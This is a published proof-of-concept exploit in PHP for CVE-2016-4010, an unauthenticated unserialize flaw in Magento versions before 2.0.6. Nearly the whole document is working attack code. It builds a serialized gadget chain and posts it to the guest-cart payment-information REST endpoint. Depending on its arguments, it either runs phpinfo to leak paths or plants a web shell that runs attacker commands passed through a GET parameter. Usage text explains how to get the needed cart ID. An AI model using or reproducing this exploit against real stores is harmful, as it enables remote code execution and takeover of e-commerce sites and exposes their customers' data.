Magento Unauthenticated Arbitrary File Write
Posted on 19 May 2016
<?php // Exploit Title: [CVE-2016-4010] Magento unauthenticated arbitrary unserialize -> arbitrary write file // Date: 18/05/206 // Exploit Author: agix (discovered by NETANEL RUBIN) // Vendor Homepage: https://magento.com // Version: < 2.0.6 // CVE : CVE-2016-4010 // to get a valid guestCartId // * add an item in your cart // * go to checkout // * fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information // (* in the response check the payment method it may vary from checkmo) // // If you didn't provide whereToWrite, it will execute phpinfo to leak path. class Magento_Framework_Simplexml_Config_Cache_File extends DataObject { function __construct($data){ $this->_data = $data; } } class Credis_Client{ const TYPE_STRING = 'string'; const TYPE_LIST = 'list'; const TYPE_SET = 'set'; const TYPE_ZSET = 'zset'; const TYPE_HASH = 'hash'; const TYPE_NONE = 'none'; const FREAD_BLOCK_SIZE = 8192; /** * Socket connection to the Redis server or Redis library instance * @var resource|Redis */ protected $redis; protected $redisMulti; /** * Host of the Redis server * @var string */ protected $host; /** * Port on which the Redis server is running * @var integer */ protected $port; /** * Timeout for connecting to Redis server * @var float */ protected $timeout; /** * Timeout for reading response from Redis server * @var float */ protected $readTimeout; /** * Unique identifier for persistent connections * @var string */ protected $persistent; /** * @var bool */ protected $closeOnDestruct = TRUE; /** * @var bool */ protected $connected = TRUE; /** * @var bool */ protected $standalone; /** * @var int */ protected $maxConnectRetries = 0; /** * @var int */ protected $connectFailures = 0; /** * @var bool */ protected $usePipeline = FALSE; /** * @var array */ protected $commandNames; /** * @var string */ protected $commands; /** * @var bool */ protected $isMulti = FALSE; /** * @var bool */ protected $isWatching = FALSE; /** * @var string */ protected $authPassword; /** * @var int */ protected $selectedDb = 0; /** * Aliases for backwards compatibility with phpredis * @var array */ protected $wrapperMethods = array('delete' => 'del', 'getkeys' => 'keys', 'sremove' => 'srem'); /** * @var array */ protected $renamedCommands; /** * @var int */ protected $requests = 0; public function __construct($resource) { $this->redis = new Magento_Sales_Model_Order_Payment_Transaction($resource); } } class DataObject { /** * Object attributes * * @var array */ protected $_data = []; /** * Setter/Getter underscore transformation cache * * @var array */ protected static $_underscoreCache = []; } abstract class AbstractModel2 extends DataObject { /** * Prefix of model events names * * @var string */ protected $_eventPrefix = 'core_abstract'; /** * Parameter name in event * * In observe method you can use $observer->getEvent()->getObject() in this case * * @var string */ protected $_eventObject = 'object'; /** * Name of object id field * * @var string */ protected $_idFieldName = 'id'; /** * Data changes flag (true after setData|unsetData call) * @var $_hasDataChange bool */ protected $_hasDataChanges = false; /** * Original data that was loaded * * @var array */ protected $_origData; /** * Object delete flag * * @var bool */ protected $_isDeleted = false; /** * Resource model instance * * @var MagentoFrameworkModelResourceModelDbAbstractDb */ protected $_resource; /** * Resource collection * * @var MagentoFrameworkModelResourceModelDbCollectionAbstractCollection */ protected $_resourceCollection; /** * Name of the resource model * * @var string */ protected $_resourceName; /** * Name of the resource collection model * * @var string */ protected $_collectionName; /** * Model cache tag for clear cache in after save and after delete * * When you use true - all cache will be clean * * @var string|array|bool */ protected $_cacheTag = false; /** * Flag which can stop data saving after before save * Can be used for next sequence: we check data in _beforeSave, if data are * not valid - we can set this flag to false value and save process will be stopped * * @var bool */ protected $_dataSaveAllowed = true; /** * Flag which allow detect object state: is it new object (without id) or existing one (with id) * * @var bool */ protected $_isObjectNew = null; /** * Validator for checking the model state before saving it * * @var end_Validate_Interface|bool|null */ protected $_validatorBeforeSave = null; /** * Application Event Dispatcher * * @var MagentoFrameworkEventManagerInterface */ protected $_eventManager; /** * Application Cache Manager * * @var MagentoFrameworkAppCacheInterface */ protected $_cacheManager; /** * @var MagentoFrameworkRegistry */ protected $_registry; /** * @var PsrLogLoggerInterface */ protected $_logger; /** * @var MagentoFrameworkAppState */ protected $_appState; /** * @var MagentoFrameworkModelActionValidatorRemoveAction */ protected $_actionValidator; /** * Array to store object's original data * * @var array */ protected $storedData = []; } abstract class AbstractExtensibleModel extends AbstractModel2 { protected $extensionAttributesFactory; /** * @var MagentoFrameworkApiExtensionAttributesInterface */ protected $extensionAttributes; /** * @var AttributeValueFactory */ protected $customAttributeFactory; /** * @var string[] */ protected $customAttributesCodes = null; /** * @var bool */ protected $customAttributesChanged = false; } abstract class AbstractModel extends AbstractExtensibleModel { } class Magento_Sales_Model_Order_Payment_Transaction extends AbstractModel { /**#@+ * Supported transaction types * @var string */ const TYPE_PAYMENT = 'payment'; const TYPE_ORDER = 'order'; const TYPE_AUTH = 'authorization'; const TYPE_CAPTURE = 'capture'; const TYPE_VOID = 'void'; const TYPE_REFUND = 'refund'; /**#@-*/ /** * Raw details key in additional info */ const RAW_DETAILS = 'raw_details_info'; /** * Order instance * * @var MagentoSalesModelOrderPayment */ protected $_order = null; /** * Parent transaction instance * @var MagentoSalesModelOrderPaymentTransaction */ protected $_parentTransaction = null; /** * Child transactions, assoc array of transaction_id => instance * * @var array */ protected $_children = null; /** * Child transactions, assoc array of txn_id => instance * Filled only in case when all child transactions have txn_id * Used for quicker search of child transactions using isset() as opposite to foreaching $_children * * @var array */ protected $_identifiedChildren = null; /** * Whether to perform automatic actions on transactions, such as auto-closing and putting as a parent * * @var bool */ protected $_transactionsAutoLinking = true; /** * Whether to throw exceptions on different operations * * @var bool */ protected $_isFailsafe = true; /** * Whether transaction has children * * @var bool */ protected $_hasChild = null; /** * Event object prefix * * @var string * @see MagentoFrameworkModelAbstractModel::$_eventPrefix */ protected $_eventPrefix = 'sales_order_payment_transaction'; /** * Event object prefix * * @var string * @see MagentoFrameworkModelAbstractModel::$_eventObject */ protected $_eventObject = 'order_payment_transaction'; /** * Order website id * * @var int */ protected $_orderWebsiteId = null; /** * @var MagentoSalesModelOrderFactory */ protected $_orderFactory; /** * @var MagentoFrameworkStdlibDateTimeDateTimeFactory */ protected $_dateFactory; /** * @var TransactionFactory */ protected $_transactionFactory; /** * @var MagentoSalesApiOrderPaymentRepositoryInterface */ protected $orderPaymentRepository; /** * @var MagentoSalesApiOrderRepositoryInterface */ protected $orderRepository; /** * @param MagentoFrameworkModelContext $context * @param MagentoFrameworkRegistry $registry * @param MagentoFrameworkApiExtensionAttributesFactory $extensionFactory * @param AttributeValueFactory $customAttributeFactory * @param MagentoSalesModelOrderFactory $orderFactory * @param MagentoFrameworkStdlibDateTimeDateTimeFactory $dateFactory * @param TransactionFactory $transactionFactory * @param MagentoFrameworkModelResourceModelAbstractResource $resource * @param MagentoFrameworkDataCollectionAbstractDb $resourceCollection * @param array $data * @SuppressWarnings(PHPMD.ExcessiveParameterList) */ public function __construct($resource) { $this->_resource = $resource; } } class Magento_Framework_DB_Transaction{ protected $_objects = []; /** * Transaction objects array with alias key * * @var array */ protected $_objectsByAlias = []; /** * Callbacks array. * * @var array */ protected $_beforeCommitCallbacks = ["phpinfo"]; } if(count($argv) < 3){ echo 'Usage: '.$argv[0].' <magento_uri> <guestCartId> (whereToWrite)'.chr(0x0a); echo 'To get a valid guestCartId'.chr(0x0a); echo '* add an item in your cart'.chr(0x0a); echo '* go to checkout'.chr(0x0a); echo '* fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information'.chr(0x0a); echo '(* in the response check the payment method it may vary from "checkmo")'.chr(0x0a).chr(0x0a); echo 'If you didn't provide whereToWrite, it will execute phpinfo to leak path.'.chr(0x0a); exit(); } if(count($argv) === 4){ $data = []; $data['is_allowed_to_save'] = True; $data['stat_file_name'] = $argv[3]; $data['components'] = '<?php system($_GET[0]); ?>'; $resource = new Magento_Framework_Simplexml_Config_Cache_File($data); } else{ $resource = new Magento_Framework_DB_Transaction(); } $redis = new Credis_Client($resource); $serialized = serialize($redis); $payload = json_decode('{"paymentMethod":{"method":"checkmo", "additional_data":{"additional_information":""}}, "email": "valid@magento.com"}'); $payload->paymentMethod->additional_data->additional_information = str_replace('Magento_Framework_DB_Transaction', 'Magento\Framework\DB\Transaction', str_replace('Magento_Sales_Model_Order_Payment_Transaction', 'Magento\Sales\Model\Order\Payment\Transaction', str_replace('Magento_Framework_Simplexml_Config_Cache_File', 'Magento\Framework\Simplexml\Config\Cache\File', $serialized))); for($i=0; $i<2; $i++){ $c = curl_init($argv[1].'/rest/V1/guest-carts/'.$argv[2].'/set-payment-information'); curl_setopt($c, CURLOPT_HTTPHEADER, array('Content-Type: application/json')); curl_setopt($c, CURLOPT_POSTFIELDS, json_encode($payload)); curl_exec($c); curl_close($c); } ?>